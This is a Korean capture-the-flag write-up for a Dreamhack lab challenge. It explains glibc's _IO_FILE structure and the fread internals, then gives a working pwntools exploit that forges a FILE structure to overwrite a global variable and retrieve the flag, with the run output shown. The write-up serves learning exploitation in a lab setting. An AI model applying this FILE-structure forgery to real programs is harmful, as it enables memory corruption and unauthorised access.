[dreamhack] _IO_FILE Arbitrary Address Write writeup

1. 문제

thumbnail
_IO_FILE Arbitrary Address Write

Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/367

2. 풀이

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
  FILE *fp;
  fp = fopen("/home/iofile_aaw/flag", "r");
  fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

  write(1, flag_buf, sizeof(flag_buf));
  fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF) 
    read_flag();

  fclose(fp);
}

fopen함수를 통해 /etc/issue를 연다. 그리고 fp 파일포인터에 데이터를 쓰고, fp로부터 file_buf 크기만큼 읽어서 출력한다.

마지막으로 overwrite_me에 저장된 값이 0xDEADBEEF이면 flag를 출력한다.


처음 봤을때 이게 뭐지싶었는데, _IO_FILE 구조체에 대해서 알게 되었다.

2.1. _IO_FILE 구조체

struct _IO_FILE {
  int _flags;                   // 스트림 상태 플래그 (e.g., 읽기/쓰기 모드, EOF 등)

  char *_IO_read_ptr;          // 현재 읽기 포인터 (fread 등에서 현재 위치)
  char *_IO_read_end;          // 읽기 가능한 끝 위치
  char *_IO_read_base;         // 읽기 버퍼의 시작 위치

  char *_IO_write_base;        // 쓰기 버퍼의 시작 위치
  char *_IO_write_ptr;         // 현재 쓰기 포인터
  char *_IO_write_end;         // 쓰기 가능한 끝 위치

  char *_IO_buf_base;          // I/O 버퍼의 시작 주소 (읽기/쓰기 공용)
  char *_IO_buf_end;           // I/O 버퍼의 끝 주소

  char *_IO_save_base;         // 백업된 읽기 위치 (ungetc 등에서 사용)
  char *_IO_backup_base;       // 백업된 읽기 버퍼의 시작
  char *_IO_save_end;          // 백업된 읽기 버퍼의 끝

  struct _IO_marker *_markers; // 마커 리스트 (fgetpos 등에서 사용)

  struct _IO_FILE *_chain;     // 다음 FILE 구조체 (FILE 리스트용)

  int _fileno;                 // 파일 디스크립터 (e.g., stdin = 0, stdout = 1)
// ....

2.2. fread 함수

fread함수는 라이브러리 내부에서 _IO_file_xsgetn함수를 호출한다.

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  _char *s = data;
  want = n;
    ...
      /* If we now want less than a buffer, underflow and repeat
         the copy.  Otherwise, _IO_SYSREAD directly to
         the user buffer. */
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;
          continue;
        }
    ...
}

조건문에서 인자로 전달된 nfp->_IO_buf_end - fp->_IO_buf_base보다 작은지를 검사한다. 이때 n은 입력할 크기로 전달된 size이다.

이후 __underflow()함수가 실행되면서 _IO_new_file_underflow()함수를 아래와 같이 실행한다.

int _IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  if (fp->_flags & _IO_NO_READS)           
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
   ...
   count = _IO_SYSREAD (fp, fp->_IO_buf_base,     
    fp->_IO_buf_end - fp->_IO_buf_base);
}

여기서는 fp->_flags변수에 읽기 권한이 있는지를 확인한다.

이후 _IO_SYSREAD함수가 실행되면서 _IO_file_read함수가 실행된다.

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
  return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
      ? __read_nocancel (fp->_fileno, buf, size)
      : __read (fp->_fileno, buf, size));
}

여기서 이제 read시스템 콜을 통해 데이터를 읽게된다. 결국 최종 시스템콜에 들어가는 변수는 아래와 같다.

read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);

따라서 fread함수가 실행되면 아래와 같은 흐름이 된다.

  • ⁣1. fp가 가리키는 _IO_FILE 구조체 내의 정보를 확인
    • _fileno: 파일 디스크립터
    • _IO_buf_base: 내부 버퍼 시작 주소. read 시스템 콜이 실행되면 이 위치에 내부 버퍼를 먼저 채운 다음, 코드에서 지정된 위치로 복사된다.
    • _IO_buf_end: 내부 버퍼 끝 주소
    • _flags: 파일 스트림의 다양한 상태와 속성을 나타내는 플래그들의 집합.
      • 0xfbad0000: glibc가 해당 _IO_FILE 객체가 유효한 스트림이라고 인식하기 위해 필요한 매직넘버. 뒷부분의 0000을 조작하여 읽기전용, 쓰기 전용, 버퍼링 방식 등의 정보를 담는다.
  • ⁣2. read 시스템콜을 통해 내부 버퍼를 채움
  • ⁣3. 내부 버퍼에서 fread함수의 첫번째 인자로 주어진 ptr로 데이터를 복사

2.3. 시나리오

결국 fp 구조체를 우리가 수정하면 overwrite_me를 내부 버퍼로 삼을 수 있고, fread가 실행되면 해당 위치에 stdin으로 입력하는 데이터가 쓰여질 것이다.

따라서 _IO_buf_baseoverwrite_me의 주소로, _IO_buf_endoverwrite_me + 1024로 조작하면되는데, 이때 1024를 더해주는 이유는 위의 _IO_file_xgetn 함수에서 아래 조건문을 통과해야하기 때문이다.

want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)

여기서 wantfread로부터 넘어온 size인데 1023이므로 이것보다 큰 값이 들어가야한다.

이렇게 파일 구조체를 조작한 후에 0xdeadbeef를 포함한 데이터를 입력한 1024만큼 보내주면 read_flag함수가 실행된다.

from pwn import *

#p = process("./iofile_aaw")
p = remote("host3.dreamhack.games", 20067)
elf = ELF("./iofile_aaw")

fake_iofile = p64(0xfbad0000)    # _flags
fake_iofile += p64(0)   # _IO_read_ptr
fake_iofile += p64(0)   # _IO_read_end
fake_iofile += p64(0)   # _IO_read_base
fake_iofile += p64(0)   # _IO_write_base
fake_iofile += p64(0)   # _IO_write_ptr
fake_iofile += p64(0)   # _IO_write_end
fake_iofile += p64(elf.symbols["overwrite_me"])   # _IO_buf_base
fake_iofile += p64(elf.symbols["overwrite_me"] + 1024)   # _IO_buf_end
fake_iofile += p64(0)   # _IO_save_base
fake_iofile += p64(0)   # _IO_backup_base
fake_iofile += p64(0)   # _IO_save_end
fake_iofile += p64(0)   # _IO_marker *_markers
fake_iofile += p64(0)   # _IO_FILE *_chain
fake_iofile += p64(0)   # _fileno

p.sendafter(b"Data: ", fake_iofile)

sleep(1)
p.send(p64(0xDEADBEEF) + b"\x00" * 1024)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/_IO_FILE_arbitrary_address_write$ python3 e_io_file_aaw.py 
[+] Opening connection to host3.dreamhack.games on port 20067: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/_IO_FILE_arbitrary_address_write/iofile_aaw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
ᆳ\xdeDH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

해결~